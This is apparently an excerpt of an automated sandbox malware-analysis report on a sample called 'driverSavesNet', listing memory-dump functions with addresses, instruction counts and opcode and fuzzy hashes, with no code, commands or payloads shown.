Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID: 5\_H
API String ID: 0-3325266018
Opcode ID: 4ca98e65c0ccb77b36d23bb3232a72d3ba7b19e3393d4a161cdd40da41d89e0f
Instruction ID: 3f574184b70cfe007af764b76a514d6a44a7b93f0421a034cbc4cccf8bfe2ed7
Opcode Fuzzy Hash: 4ca98e65c0ccb77b36d23bb3232a72d3ba7b19e3393d4a161cdd40da41d89e0f
Instruction Fuzzy Hash: E3910471A19B8D8FE799CB6888797A97FE1FF59314F4101BED009C72E6CBB824118740

Function 00007FFD9BE94028 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9BE940A2

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 6a93af61629968e10611d34753801cb1ed35d95ce4507b3d0b60d6c0f04c2dee
Instruction ID: 2264a095180c2acb663a45689e8991459f5af71b9c337bd510fafe3aee7d6f45
Opcode Fuzzy Hash: 6a93af61629968e10611d34753801cb1ed35d95ce4507b3d0b60d6c0f04c2dee
Instruction Fuzzy Hash: 8F518F31E0960E9FEB69CB98C4615FCB7B1FF58300F1141BED01AE72A6DA396A05CB51

Function 00007FFD9BE99058 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9BE990D2

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 2567fe349993d3d07f87d31041dcebd9708c8fa98f0279c3761a3f8ca4d8b48a
Instruction ID: fd7d940197b707881213d77825ca4cf62f0732a82beb0662fac0930efb564207
Opcode Fuzzy Hash: 2567fe349993d3d07f87d31041dcebd9708c8fa98f0279c3761a3f8ca4d8b48a
Instruction Fuzzy Hash: F4518F75E0A60E8FEB59DB98C8655FDB7B1FF44300F1141BAD01AE72A2DB362A05CB40

Function 00007FFD9BE992CF Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91bbd37aa551fe235e8aedf769c781de086b53790504adf09a9ae224084b96a9
Instruction ID: 6d519c906f14749ebe9824ee78d608cec2d1097e64446514bb3e20831aabb459
Opcode Fuzzy Hash: 91bbd37aa551fe235e8aedf769c781de086b53790504adf09a9ae224084b96a9
Instruction Fuzzy Hash: BB021230A196498FEB69CF18C4E46B53BA5FF45300F5142FDC84ACB29BDA39E985CB41

Function 00007FFD9BE9A310 Relevance: .4, Instructions: 434COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2513671aa436929eda4976398823f1d84a97992d146dd0221350f5b116c8deb6
Instruction ID: 036c6bb967a71ab1a8aea92dce323aed375a66727dda7ab36853fe9d69c3e24e
Opcode Fuzzy Hash: 2513671aa436929eda4976398823f1d84a97992d146dd0221350f5b116c8deb6
Instruction Fuzzy Hash: 0CE11534B0EB0E8FD378DB68D4A457577E5FF44300B12257EC44AC76A2DE2AB94A8B41

Function 00007FFD9BE9429F Relevance: .4, Instructions: 433COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda1ec44153074bc0b41e000c5bf4649ec680e677512afc61a07e0a8b2f53be7
Instruction ID: 842c748daf88f213bdbba80ed886c085c4e3c21e7827ee21725687b91b4bd4d6
Opcode Fuzzy Hash: fda1ec44153074bc0b41e000c5bf4649ec680e677512afc61a07e0a8b2f53be7
Instruction Fuzzy Hash: AEF104706196498FEB69CF58C4E06B43BB5FF45300B5542BDC84ACB69BCA38F986CB41

Function 00007FFD9BE952E0 Relevance: .4, Instructions: 413COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 969f2c97d90d6532f95f3c8c38ff9b0391aafd4295238a5d285ef8a49b4f5593
Instruction ID: 515be98b074f4903be61793d01c05254fab95eaf32e70613a00cc38209d19428
Opcode Fuzzy Hash: 969f2c97d90d6532f95f3c8c38ff9b0391aafd4295238a5d285ef8a49b4f5593
Instruction Fuzzy Hash: 3DD10330B1EB4A8FE378DB68D4A157977E5FF44300B11057EC48EC76A2DA2AB94A8741

Function 00007FFD9BE942BF Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 816764b71272fae607f9198fcad2dd02b3b3516ed911b155a41b97b75aff53b4
Instruction ID: 1c1c91ffdc6ba59a13f780d2d23ebcc88f9da8324794b1489c50da09d70d831d
Opcode Fuzzy Hash: 816764b71272fae607f9198fcad2dd02b3b3516ed911b155a41b97b75aff53b4
Instruction Fuzzy Hash: 59C1F47061A64A8BEB2DCF58C0E05B13BB4FF45301B5546BDC84B8B69BCA39F586CB41

Function 00007FFD9BE992EF Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a4e86d3fc75c1b665f22a3e1365b5e9430eff985c566b83abe224ccb93729ee
Instruction ID: d83900ff9f4b288d67c18d379e02ae8ca51bdc469552c1e04b1ee96ac7509119
Opcode Fuzzy Hash: 8a4e86d3fc75c1b665f22a3e1365b5e9430eff985c566b83abe224ccb93729ee
Instruction Fuzzy Hash: 80C1243461A64A8BEB2DCF58C0E41B53BA0FF45300B5546BDC88BCB69BDA39F585CB41

Function 00007FFD9BE98B82 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e11768ffebddac7d9198dfde0e6eb30ff68bfe01b92e036bde5aedc169c6099
Instruction ID: 124f3b61517059de0987db65a9f537148bb80f5a53e9018446c7a6543165ce01
Opcode Fuzzy Hash: 0e11768ffebddac7d9198dfde0e6eb30ff68bfe01b92e036bde5aedc169c6099
Instruction Fuzzy Hash: 39B11030B0AA4E9FE358DB68C4B06A4B7A4FF18340F554279D04EC7AA6CB38F955C780

Function 00007FFD9BE96567 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60715eb431ccf43d4960ea423352646ed2e63c52398f58687bd0ee927195051c
Instruction ID: 25bcbf1d96ab80ea20fc3bc2bb50379c7b9297feab5f4c7dcd83433e89d1d258
Opcode Fuzzy Hash: 60715eb431ccf43d4960ea423352646ed2e63c52398f58687bd0ee927195051c
Instruction Fuzzy Hash: 82310401F0F26B8BF73562A818314FC57484F543B5F1A07BBD95DC60EADC0E2A4D5242

Function 00007FFD9BE9B427 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abb2fee16a3ddda760cf929b7e94277c3a6da4196dd94fca2b26f37297fd1e87
Instruction ID: f522d38318c5e5a6430fc12bf4310c08c539938cf6bf4443ad2c64a9ee7e71d4
Opcode Fuzzy Hash: abb2fee16a3ddda760cf929b7e94277c3a6da4196dd94fca2b26f37297fd1e87
Instruction Fuzzy Hash: 4121E41AF0F68B8AF77496F818354BC76485F51324F1A02BAE44D8A0F3DC0E3A895282

Function 00007FFD9BE9CF96 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b3239586e1cbff0d54cba165ba3aa84f9ec3b7d9a91e6db3578de9b7c6f47a6
Instruction ID: f3676ef496b96d8a85cf5ffd8693bbcbf692c5dc09ce2bd99280d31124cd5f21
Opcode Fuzzy Hash: 5b3239586e1cbff0d54cba165ba3aa84f9ec3b7d9a91e6db3578de9b7c6f47a6
Instruction Fuzzy Hash: AE817A32E0EB5D4FF3399AA88421575B7E5EF85310B11457ED48FC32A2DE2A7A0A8741

Function 00007FFD9BE93086 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 115855aa64a1e9de8e0fe39f79d4e432ba99a025295a6e20e9d099b176018db2
Instruction ID: 03733d745aa89daa3d5eb0f62a7808870251fe91a957d1eaf9baac11c17ee457
Opcode Fuzzy Hash: 115855aa64a1e9de8e0fe39f79d4e432ba99a025295a6e20e9d099b176018db2
Instruction Fuzzy Hash: 77818931B0E70A4FE33A9BA8946507577E9EF45310B16057EE48FC71B2DE2AB90A8741

Function 00007FFD9BE96219 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ac2b61a3629fc76c9ca07cb9f365318e8b9bdffea2d1fc939a3aefc52fa82b
Instruction ID: f011f06d3341b9530b176ed6befe9bb6756e80b2912719fca1ef3f16f91ab6b8
Opcode Fuzzy Hash: f0ac2b61a3629fc76c9ca07cb9f365318e8b9bdffea2d1fc939a3aefc52fa82b
Instruction Fuzzy Hash: C6714731A0E54D4FE778DB5884665B837D4EF84352B0202BBD05EC75B2DE2AAA0EC781

Function 00007FFD9BE96DDB Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b7a242bd13233adf8b450e54c7c4e4d34334167496f272193b0f6e1fb32e2bc
Instruction ID: 645d20780b4579fb0336a0048cf323e9401dfbd952405cd798662c008fabc842
Opcode Fuzzy Hash: 5b7a242bd13233adf8b450e54c7c4e4d34334167496f272193b0f6e1fb32e2bc
Instruction Fuzzy Hash: 3371C430E1A64E9FEBA9DBA4C464AFC7BB4FF48380F11017AD00ED71A5DE296A459740

Function 00007FFD9BE91DAB Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea167327033b18e938774d5280dbd3133fbdfc47b15c07a51ea9d80ffb4a0a48
Instruction ID: 36f937cde545fe5aaf1e3d724f9746fc9c49bfd76b74865d7071aa0b660a9778
Opcode Fuzzy Hash: ea167327033b18e938774d5280dbd3133fbdfc47b15c07a51ea9d80ffb4a0a48
Instruction Fuzzy Hash: 3271D230E1E64E9FEB69DBA488A06FC7BB5FF49300F5105B9D00EC71E1DA396A458742

Function 00007FFD9BE9BC9B Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d06f69c6b944e0c3294cb6fe8fac0dd172b15e321d00b76e60071ef3a6c5e05e
Instruction ID: 1a10f7c1152574bce6fa3fc32d9d19143b559d6000a6c27b7e5194048921c480
Opcode Fuzzy Hash: d06f69c6b944e0c3294cb6fe8fac0dd172b15e321d00b76e60071ef3a6c5e05e
Instruction Fuzzy Hash: FB71E534E1E64E8EEBA9DBB488646BC7BB8FF45300F5105B9D01EC71E2DE296945C700

Function 00007FFD9BE914ED Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a935cdfdd0c93cfbe86b9718f65173bef9fc0fd808e666d23201d3dbf6985cc9
Instruction ID: fc0dabf7dfdc17835b9d5ad51bec9b6be3770a6d2077c3a162988a3616ac1750
Opcode Fuzzy Hash: a935cdfdd0c93cfbe86b9718f65173bef9fc0fd808e666d23201d3dbf6985cc9
Instruction Fuzzy Hash: 0E615631E0E54D5FE778DA5888665B937C4FF8431070602B9E09FC76B3DD1AAA0E8782

Function 00007FFD9BE9B0ED Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a9ab97c3f3fad53add41ccb75d643b29086bca8017a1712fc81019df9f8d85
Instruction ID: b5f9917dd2987dbe88af9a42f62cc0c2c9990f6a0fdc4bd90e1fa52786498420
Opcode Fuzzy Hash: 46a9ab97c3f3fad53add41ccb75d643b29086bca8017a1712fc81019df9f8d85
Instruction Fuzzy Hash: 55617D79B0E54D4FE778DA68C8666B937C5FF84310B0202B9D09EC75B2DD19AA0E8781

Function 00007FFD9BE93CAE Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48a575f475d6062e59ec5f55290eaf97287407b3e6f94404ef514f54dcc495a4
Instruction ID: a2d0c5bddecec44f31d428477c2b9205bdfee789e8173505c433b541909a527e
Opcode Fuzzy Hash: 48a575f475d6062e59ec5f55290eaf97287407b3e6f94404ef514f54dcc495a4
Instruction Fuzzy Hash: C4711530A0EB4A8FE75ADB64C0A05A4BBA0FF15300F5541BAD44EC7AE7CB29F955C790

Function 00007FFD9BE980FD Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 563118ea205876633b08f84416647e32b113eead7cd690f116cca53df4200d8b
Instruction ID: 237e5669cf0c2caec1be386425c0c233d8fc8f287c6ed401eccc4d5a7137cbb2
Opcode Fuzzy Hash: 563118ea205876633b08f84416647e32b113eead7cd690f116cca53df4200d8b
Instruction Fuzzy Hash: BD516931B1EB4E4FE37C9A58946107577E4EF42390B11057EE48FC32B2D92AB94A8741

Function 00007FFD9BE917C5 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be33b86232e20a710f7e4946b9e5b19098ae936b11dbd864d43c67482f90ddce
Instruction ID: 74a273e4d7936fac2ce9babfacbe99b0be65aa04c11d89ef9072c7c8445e65cc
Opcode Fuzzy Hash: be33b86232e20a710f7e4946b9e5b19098ae936b11dbd864d43c67482f90ddce
Instruction Fuzzy Hash: 7D516470E0965E9FDBA9DF58C8A0BB877B1FF58300F1501BAD00ED32A1DA356A85CB51

Function 00007FFD9BA908D0 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3643f2be19a136ae3d68a827226cea47254c0f2bebf050c1df5cdc41c0edbd7c
Instruction ID: c6ecc5eccda690f2d08dfa056e167fe657a10db73f465e14292d0a7514598eee
Opcode Fuzzy Hash: 3643f2be19a136ae3d68a827226cea47254c0f2bebf050c1df5cdc41c0edbd7c
Instruction Fuzzy Hash: FA412812B0C5590EE714F7BCA4A9AFD7781DF5933AB0546FBE44DCB1E7CD14A8418284

Function 00007FFD9BE90150 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e8c3705632be965e9b0d58a9df228db7ad8139b7931ae0f13c66cfed305b354
Instruction ID: f3ddd2c106502ded0ab064bfbab5acde1d676de0f0d015ef72047f326b040f0d
Opcode Fuzzy Hash: 9e8c3705632be965e9b0d58a9df228db7ad8139b7931ae0f13c66cfed305b354
Instruction Fuzzy Hash: EA413830A0D55E8FE778CA5884706F877A5FF54300F2545BAE14EC719BDD28AA8D8741

Function 00007FFD9BE9A937 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbfbe72f283524d3be9f1a4c84c159346efc08c264311bd24e4a76996754f16b
Instruction ID: 21f3c013fa7f3bf051d06c4dfff638f917d2195cbe5876586f257a4216bf0f66
Opcode Fuzzy Hash: fbfbe72f283524d3be9f1a4c84c159346efc08c264311bd24e4a76996754f16b
Instruction Fuzzy Hash: 6D41743260DA088FDF9DEF18C4A5DA4B7E1FFA9360B15026AD04EC7292DE25F945CB41

Function 00007FFD9BE95907 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b9e701b5f70cb6c7d3772d37af7dffd6d902168b810843b5a48021b49892718
Instruction ID: aef8747b07af3132ab8d0aae8f844883ddca9c3ce937700b94e9ee409c64418a
Opcode Fuzzy Hash: 3b9e701b5f70cb6c7d3772d37af7dffd6d902168b810843b5a48021b49892718
Instruction Fuzzy Hash: 1441A33260DA098FDF9CEF18C4A5DA473E1FFA8360B0505AAD05EC71A2DE25F845CB81

Function 00007FFD9BE91319 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a9227f5e9eae02e341e3a796004df635e8248382a905b075ce58bf49e00058
Instruction ID: 465beb445dbc47c019c7cdbf3a345df4bf088a989cd780506afa85834cb62517
Opcode Fuzzy Hash: f7a9227f5e9eae02e341e3a796004df635e8248382a905b075ce58bf49e00058
Instruction Fuzzy Hash: F3312821F0F18F6BF739969458315B836989F03360F1A0776E15EC60E2DD0E36195293

Function 00007FFD9BE981CB Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51dfb162b1075f7cce046bc81312d8b7cdc69d44871221e73659b6943411b8e9
Instruction ID: 359c37823b506ded4be9d5f483c1026acbf0c34f2c23f8fd2b48fbd49c895cab
Opcode Fuzzy Hash: 51dfb162b1075f7cce046bc81312d8b7cdc69d44871221e73659b6943411b8e9
Instruction Fuzzy Hash: E2317B31F5EB4D4FE3789A6884550397BE8EF46380B15007EE4CFC32B2D9257A068351

Function 00007FFD9BE9A9E1 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cc09aaca5e71a6115ea805b35eea27b05c0a49b273a857509ea318fe4e9f566
Instruction ID: 0862f6bca2f0f6bb5d3ab4f317b2891d5cb706e1c7b2cb861b392fabbbf0b9c1
Opcode Fuzzy Hash: 1cc09aaca5e71a6115ea805b35eea27b05c0a49b273a857509ea318fe4e9f566
Instruction Fuzzy Hash: AB31B53160CA088FDF9DEF18C4A5D64B7E1FF69354B1506AED04AC7292CE21F845CB81

Function 00007FFD9BE959B1 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69cd7a04a6c52a8a03acd206a7032cd0a9d3278fcdc02b8b43b0f9a66d35c73b
Instruction ID: d54f899aff324d5e3f4c82a1a6b2370407922212b06372c294b8fe91fbcedd44
Opcode Fuzzy Hash: 69cd7a04a6c52a8a03acd206a7032cd0a9d3278fcdc02b8b43b0f9a66d35c73b
Instruction Fuzzy Hash: 4531A43160CA498FDB9CEF18C4A5E6473E1FFA835071506AED05EC71A2DE25F845CB81

Function 00007FFD9BA90960 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1934671461.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9ba90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e0df214d78c7579434338962071dbbb0a184554d9b180ef38f81f5e0828fbba
Instruction ID: bc5814a730f5c74ac382eeed4797e9ca6f47ec948cb7f7ab4f40e91067182d14
Opcode Fuzzy Hash: 6e0df214d78c7579434338962071dbbb0a184554d9b180ef38f81f5e0828fbba
Instruction Fuzzy Hash: A8310711B1CA190FE768F76C646AAF833C1DF5837AB1546BBE40EC72E7CD18AC418284

Function 00007FFD9BE91185 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 267301ae54cba03aa91c649b5befb4f2666140cf567853bb5123f90182a8a010
Instruction ID: d5c59ff4af6fd6adf559bf9bf0cba21d45554815057f29d28d0a30569d1126a8
Opcode Fuzzy Hash: 267301ae54cba03aa91c649b5befb4f2666140cf567853bb5123f90182a8a010
Instruction Fuzzy Hash: 5631D470E0E68EAFEB56DBA4C8604AC7FB1FF46300F1501FAD049D71E2DA296909C712

Function 00007FFD9BE9A97B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41ec30143454befe5872206b9cc315ae691ea2a87bfc259bfc09445c7eb30cd2
Instruction ID: 35ba3c71a20d91b7ac9a357ac59cdb2f9c42ca55ec2d7d37863ebf596107e95b
Opcode Fuzzy Hash: 41ec30143454befe5872206b9cc315ae691ea2a87bfc259bfc09445c7eb30cd2
Instruction Fuzzy Hash: 5031A43160CA098FDF9DEF18C4A5DA4B7E1FF69350B1506AAD04AC7292DE35F885CB81

Function 00007FFD9BE9594B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1939518482.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9be90000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46fadb589ffd5716fa13b65e6232a69882260e2c50343d4b6b872a8451cc789d
Instruction ID: be413b79abe9cf09ac3ee0dfc1bbe51fca0dcf86124451b0859b8eeaa7311864
Opcode Fuzzy Hash: 46fadb589ffd5716fa13b65e6232a69882260e2c50343d4b6b872a8451cc789d
Instruction Fuzzy Hash: 3331623160CA498FDB9CEF18C4A5EA473E1FFA835071505AAE05EC71A2DE25F845CB81

Function 00007FFD9BE92A8B Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

